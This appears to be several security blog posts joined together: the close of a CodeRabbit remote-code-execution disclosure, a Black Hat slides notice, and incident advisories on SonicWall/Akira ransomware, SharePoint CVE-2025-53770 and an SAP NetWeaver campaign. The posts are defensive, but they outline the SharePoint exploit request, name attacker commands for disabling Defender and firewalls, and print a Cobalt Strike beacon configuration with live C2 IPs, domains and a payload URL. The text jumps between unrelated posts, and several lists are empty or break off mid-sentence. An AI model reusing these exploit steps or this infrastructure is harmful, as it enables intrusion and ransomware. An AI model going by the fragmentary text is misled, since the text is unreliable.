Additionally, we obtained RCE on the CodeRabbit production system. A malicious person could have performed destructive operations, caused a denial of service, or performed malicious operations on third party systems (see list of leaked secrets above).
While running the exploit, CodeRabbit would still review our pull request and post a comment on the GitHub PR saying that it detected a critical security risk, yet the application would happily execute our code because it wouldn’t understand that this was actually running on their production system.
CodeRabbit supports running dozens of external tools. These tools may get updates and new tools may be supported. Both cases may open the door to new ways of running arbitrary code. Therefore, trying to prevent arbitrary code execution through these tools sounds like an impossible task.
Instead, it would be best to assume that the user may be able to run untrusted code through these tools. So, running them in an isolated environment, with only the minimum information required to run the tools themselves, and not passing them any environment variables would be much better. Even if arbitrary code execution would be possible, the impact would be much less severe.
For defense in depth, one should add a mechanism that prevents sending private information to an attacker-controlled server. For example, only allow outgoing traffic to whitelisted hosts, if possible. If the tool doesn’t require internet access, then all network traffic may even be disabled in that isolated environment. This way it would make it harder for an attacker to exfiltrate secrets.
After responsibly disclosing this critical vulnerability to the CodeRabbit team, we learned from them that they had an isolation mechanism in place, but Rubocop somehow was not running inside it. The CodeRabbit team was extremely responsive and acknowledged receipt of the disclosure the same day. They immediately disabled Rubocop and rotated the secrets and started working on a fix. The next week they told us that the vulnerability had been fixed. Kudos to the CodeRabbit team for responding promptly and fixing the issue.
Here is a summary of the disclosure timeline:
In the end, we only provided PoCs and didn’t take things further. A patient attacker could have enumerated the available access, identified the highest value targets, and then attacked those targets to distribute malware to countless others in a larger supply chain attack. Security is hard, and a variety of factors can come together to create security issues. Being quick to respond and remediate, as the CodeRabbit team was, is a critical part of addressing vulnerabilities in modern, fast-moving environments. Other vendors we contacted never responded at all, and their products are still vulnerable.
In the race to bring AI-powered products to market, many companies prioritize speed over security. While rapid innovation is exciting, overlooking security can have catastrophic consequences, as we’ve seen. The solution isn’t to stop but to build security into the development process from day one. By making security a core priority, AI companies can create products that are not only groundbreaking but also resilient and responsible. After all, true innovation isn’t just about moving fast. It’s about building something resilient and safe for users.
Hello everyone. Today, we are releasing the slides from our Black Hat USA presentation Hack To The Future: Owning AI-Powered Tools With Old School Vulns. During our research, we identified vulnerabilities in AI-powered developer productivity tools. These tools extend far beyond AI coding assistants.
We also identified some common trends and themes that we encountered during our research and made some recommendations for organizations when looking for issues in these tools, as well as how to protect themselves.
There was too much content to cover, so the slides have a bonus content section. Also, follow us for more content coming soon.
Please contact us if you have any questions or would like to learn more. Thank you for attending, and enjoy.
SonicWall has clarified that the recent cyber activity affecting Gen 7 firewalls with SSL-VPN enabled is not the result of a zero-day vulnerability, but is instead linked to CVE-2024-40766. This is an improper access control vulnerability first disclosed in August 2024. This flaw affects the SonicOS management interface and SSL-VPN components, and under certain conditions, can lead to unauthorized resource access. The issue was originally addressed in SonicWall advisory SNWLID-2024-0015.
According to SonicWall and corroborating incident response data, many affected deployments involve migrations from Gen 6 to Gen 7 firewalls where local user accounts and passwords were imported without being reset. These legacy credentials, combined with suboptimal configuration hardening, created conditions susceptible to credential-based attacks, including brute-force and MFA bypass attempts.
SonicWall is urging customers who have migrated configurations from Gen 6 appliances to:
Environments not yet upgraded to SonicOS 7.3 remain more vulnerable, as they lack recent mitigations that improve authentication hardening and brute-force resistance.
In late July 2025, the Cyber Fusion Center (CFC) observed and investigated multiple incident response engagements involving network intrusions traced to SonicWall SSL-VPN devices, followed shortly by ransomware deployment. These attacks are attributed to the Akira ransomware group, whose affiliates are actively exploiting CVE-2024-40766 in SonicWall’s VPN/firewall appliances. The vulnerability enables attackers to gain initial access even on fully-patched devices and despite multi-factor authentication (MFA), effectively bypassing usual login protections.
Confirmed intrusions have been reported across organizations in North America and Europe. Once the SonicWall device is compromised, the threat actors rapidly pivot to internal networks where they steal credentials, disable security tools, and ultimately execute Akira ransomware to encrypt systems. These findings are based on direct forensic evidence collected and analyzed during active incident response operations led by the CFC across multiple victim environments. No official patch is currently available, and SonicWall has not yet publicly disclosed full technical details. At the moment, the only way to avoid the impact at this time is to disable the SSL-VPN service until a patch is available.
UDPATE: The surge of attacks is linked to CVE-2024-40766.
Current evidence indicates that the exploitation is limited to SonicWall Gen 7 firewalls, specifically TZ and NSa-series models, with SSL-VPN enabled.
All seventh-generation SonicWall firewalls running SonicOS (e.g. TZ and NSa models) with SSL-VPN enabled are at risk. Huntress confirms the suspected vulnerability exists in firmware versions 7.2.0-7015 and earlier. Environments with these devices exposed to the internet for VPN access are the primary targets.
SonicWall SMA series remote access devices (which provide SSL-VPN functionality) have also been implicated in the observed incidents. Both traditional firewalls and SMA VPN appliances are being targeted in similar ways.
There are no current indications that SMA 100-series appliances or Gen 6 models are affected. However, organizations using any SonicWall appliance with SSL-VPN enabled should perform proactive threat hunting and consider disabling VPN exposure until more is known.
The attack begins with a direct compromise of the SonicWall appliance itself. The threat actor gains unauthenticated access to the firewall, bypassing both login and multi-factor authentication (MFA) mechanisms. This provides the adversary with a foothold inside the network perimeter via the exposed VPN service. Indicators strongly suggest a novel flaw: multiple incidents involved fully-patched SonicWall devices being breached and MFA controls rendered ineffective. (While brute-force or stolen credentials were considered, many victims had recently rotated credentials, and some attacks progressed even with MFA, pointing to a sophisticated exploit.) In each case, the attacker gains unauthorized VPN access to the network via the SonicWall appliance as the entry point.
Once access is established, the Akira ransomware group executes a structured, multi-stage operation:
By installing a Cloudflared tunnel and an SSH backdoor, the threat actors ensure continued clandestine access even if the VPN hole is later closed.
Armed with high privileges, the threat actors expand across the network. They utilize a mix of “living off the land” techniques and custom tools to map out and dominate the environment.
Set-MpPreference to disable Windows Defender.netsh.exe to disable the firewall or add new firewall rules.The threat actors methodically disable security tools and logging to avoid detection. They use Windows utilities and commands to impair defenses.
In several cases, the attackers prepared data for exfiltration prior to encryption. They were observed compressing files and sensitive data using tools like WinRAR (command-line usage to archive data), and in some instances using FTP tools (e.g., FileZilla’s command-line fzsftp.exe) to export stolen data.
To ensure full protection and minimize exposure, the Cyber Fusion Center (CFC) recommends the following immediate actions:
The CFC is currently
The CFC will continue to monitor the situation and send an advisory update if needed. At the moment, the only way to avoid the impact at this time is to disable the SSL-VPN service until a patch is available.
Hash | FFED1A30D2CF18FE9278AB9FEEDCC65E7FF3E07DE4208C253C854C3B3E0F4ED0 | Hash of the ransomware executable
Hostname | DESKTOP-ER0LK0E | Artefact hostname they often use
Hostname | DESKTOP-MA79SEI | Artefact hostname they often use
A critical zero-day vulnerability (now assigned CVE-2025-53770) has been identified in Microsoft SharePoint Server, affecting multiple on-premises versions.
The flaw allows unauthenticated remote code execution through a deserialization vulnerability in the ToolPane interface.
Attackers are currently exploiting the bug in the wild as part of a broader campaign targeting enterprise and government infrastructure.
This issue is a variant of the ToolShell exploit chain (CVE-2025-49706 and CVE-2025-49704), bypassing prior patches released in July 2025. It is currently being used to deploy web shells, extract MachineKey secrets, and maintain persistent access on compromised systems.
CVE ID: CVE-2025-53770
Severity: Critical (CVSS 9.8)
Status: Actively Exploited
Type: Unauthenticated Remote Code Execution via Deserialization
Affected Product: Microsoft SharePoint Server (on-premises)
The following Microsoft SharePoint on-premises versions are impacted:
CVE-2025-53770 is a .NET deserialization vulnerability in Microsoft SharePoint Server that allows unauthenticated remote code execution. The flaw lies in the improper handling of serialized data sent to the /_layouts/15/ToolPane.aspx endpoint when accessed with a specially crafted HTTP request.
By sending a malicious HTTP POST request to this endpoint with a Referer header set to /_layouts/SignOut.aspx the attacker can trigger vulnerable server-side logic that deserializes untrusted input.
The attacker injects a malformed .NET serialized object (typically crafted using tools like ysoserial.net) into the request body.
When this payload is deserialized by SharePoint’s backend components, it results in arbitrary code execution in the context of the SharePoint service account.
This vulnerability is a variant of the ToolShell exploit chain (CVE-2025-49704 and CVE-2025-49706), and it effectively bypasses Microsoft’s July 2025 security patches by exploiting a different logical path involving SignOut.aspx as a misleading referer.
Post-exploitation, attackers are observed:
File-based IOCs:
Log-based IOCs:
Known Malicious IP Addresses:
Defender AV/EDR Alerts:
The vulnerability can be identified with the following vulnerability scanners modules:
Microsoft has released out-of-band patches:
2. Enable/Verify AMSI & Defender Antivirus
3. Rotate ASP.NET MachineKeys
A guide published by Microsoft on rotating ASP.NET MachineKeys is available here: Improved ASP.NET view state security and key management – SharePoint Server | Microsoft Learn
4. Incident Detection and Response
A proof-of-concept (PoC) for CVE-2025-53770 is now publicly available, increasing the risk of widespread exploitation.
Indicators of compromise may be broader than those observed in the initial wave of attacks. Security teams should expand detection criteria and review historical telemetry for additional signs of compromise, including unusual child processes spawned by w3wp.exe, suspicious modules loaded and unkown dropped files.
The CFC will continue to monitor the situation and send an advisory update if needed. Immediate action is required to mitigate potential exploitation by applying patches, restricting access, and enhancing security monitoring. Organizations should prioritize these measures to safeguard their edge devices against potential threats.
On the 27th of March 2025, we’ve seen a previously unknown vulnerability (now tagged as CVE-2025-31324) in SAP NetWeaver Visual Composer being exploited in the wild, targeting exposed enterprise systems. The vulnerability allowed unauthenticated attackers to upload malicious JSP files and gain remote code execution, a critical risk for organizations running unpatched instances.
While technical details of the vulnerability have already been thoroughly documented elsewhere, this article focuses on a different aspect of the event: the observable indicators and adversary infrastructure used during the exploitation window.
After successful exploitation of the SAP NetWeaver Visual Composer vulnerability, attackers deployed JSP-based webshells to maintain access and issue follow-up commands. These webshells acted as a lightweight interface for remote interaction with the compromised systems.
Once established, the webshells were used to perform a range of standard post-exploitation tasks. These included:
Figure 1- Sample of commands executed through the Webshells
Infrastructure Analysis
Two commands were issued to test infrastructure connectivity:
ping 184.174.96.67
ping 88.119.174.107These IP were identified as hosting active Cobalt Strike command-and-control servers at the time of the campaign.
The IP address 184.174.96.67 has been associated with the domain officetoolservices[.]com
The IP was clearly hosting a Cobalt Strike server, as evidenced by its HTTP status code 404 and the “Content-Length: 0”
Figure 2- HTTP Response headers on port 88 taken from ZoomEye
In addition, at least four Cobalt Strike samples were using officetoolservices[.]com as their command-and-control (C2) domain:
52ed846c3b966539f851e79bba4172f0d460471012bb3933528367562ad6695c
89c272122477af854a51de4e220161d1c823a303151ebceb8788bb8ced2b7ba8
a8e44d7534d71b0671eb21400a1798296784af02124019b694b7e687405d7628
d2fa11395e93733d0957b8359faf19dd3c89bb044917e1488d74bd512c770c68
Figure 3- VT graph of 184.174.96.67
All four samples shared a compilation timestamp from early April, suggesting they were not part of the initial exploitation wave we observed at the end of March, but rather part of a second phase of activity, likely leveraging continued access or targeting additional victims using the same infrastructure.
The analysis of the IP address 88.119.174.107 confirms its part of the attack infrastructure. At least one Cobalt Strike beacon sample found on VirusTotal was configured to use this IP directly as its command-and-control (C2) endpoint.
The IP was also returning a HTTP response header “Server: golfe2” on multiple ports (8081,8082,6443,7443) combined with HTTP status code 404 and “Content-Length: 0”, confirming its running a CobaltStrike C2 Server.
Figure 4- VT Graph of 88.119.174.107
In addition, a URL observed in the wild (https://88.119.174%5B.%5D107:22443/file.ext) was actively serving a Cobalt Strike payload during the exploitation timeframe. The file retrieved from this endpoint was identified with the following hash d7e4bb95401a19f9bf7ca280a4e743229998494790ab129b31b2a6c1cebebec7
Figure 5- VT Graph of d7e4bb95401a19f9bf7ca280a4e743229998494790ab129b31b2a6c1cebebec7
Interestingly, although this beacon was delivered from 88.119.174.107, its internal configuration pointed to a different C2 domain: networkmaintenanceservice[.]com
This beacon is the same payload retrieved by a DNS cobalt stager we observed during the post-exploitation phase and had the following key configuration parameters:
{
"BeaconType": [
"Hybrid HTTP DNS"
],
"Port": 1,
"SleepTime": 23815,
"MaxGetSize": 2796804,
"Jitter": 41,
"MaxDNS": 253,
"C2Server": "www.networkmaintenanceservice.com,/sq,sso.networkmaintenanceservice.com,/sq,login.networkmaintenanceservice.com,/sq,signin.networkmaintenanceservice.com,/sq,profile.networkmaintenanceservice.com,/sq,store.networkmaintenanceservice.com,/sq",
"DNS_Idle": "253.58.253.29",
"DNS_Sleep": 133,
"HttpGet_Verb": "GET",
"HttpPost_Verb": "POST",
"HttpPostChunk": 0,
"Spawnto_x86": "%windir%\\syswow64\\runonce.exe",
"Spawnto_x64": "%windir%\\sysnative\\runonce.exe",
"CryptoScheme": 0,
"Proxy_Behavior": "Use IE settings",
"Watermark": 1357776117,
"bStageCleanup": "True",
"bCFGCaution": "False",
"KillDate": 0,
"bProcInject_StartRWX": "False",
"bProcInject_UseRWX": "False",
"bProcInject_MinAllocSize": 24330,
"ProcInject_PrependAppend_x86": [
"kJCQ",
"Empty"
],
"ProcInject_PrependAppend_x64": [
"kJCQ",
"Empty"
],
"ProcInject_Execute": [
"CreateThread",
"RtlCreateUserThread",
"CreateRemoteThread"
],
"ProcInject_AllocationMethod": "VirtualAllocEx",
"bUsesCookies": "True",
"HostHeader": ""
}A notable characteristic shared across all Cobalt Strike beacons observed from the previous links is the watermark 1357776117. In Cobalt Strike, the watermark is a unique identifier embedded in each beacon, typically tied to a specific license or build. While these IDs can be reused (especially in cracked or leaked versions of the tool) they often serve as useful correlation points across unrelated incidents.
Watermark 1357776117 has been previously associated with activity linked to both the BlackBasta ransomware group and the Qilin ransomware operation. Although watermark reuse complicates direct attribution, the appearance of this same identifier across all observed beacons suggests that the actors involved are likely ransomware-driven.
Observation of the adversary’s infrastructure showed consistent naming conventions across multiple domains and subdomains. The attacker repeatedly used prefixes such as “sso.” and “login.” likely in an attempt to blend malicious traffic into legitimate enterprise communications.
Examples include:
The recurrence of these prefixes across unrelated domains suggests automated infrastructure generation, possibly using templated scripts or orchestration tooling to rapidly deploy new redirectors or C2 servers with plausible, enterprise-looking subdomains.
This campaign is a clear reminder that even ransomware groups now have access to zero-day vulnerabilities, once considered the exclusive domain of state-sponsored actors. Whether acquired through underground marketplaces, private exploit developers, or collaboration with initial access brokers, the use of a NetWeaver zero-day highlights how the ransomware ecosystem continues to evolve in both capability and reach.
The following list of indicators was extracted from observed activity related to the SAP NetWeaver exploitation campaign:
184.174.96[.]67
184.174.96[.]74
88.119.174[.]107
177.54.223[.]24
180.131.145[.]73
officetoolservices[.]com
networkmaintenanceservice[.]com
misctoolsupdate[.]com
leapsummergetis[.]com
onlinenetworkupdate[.]com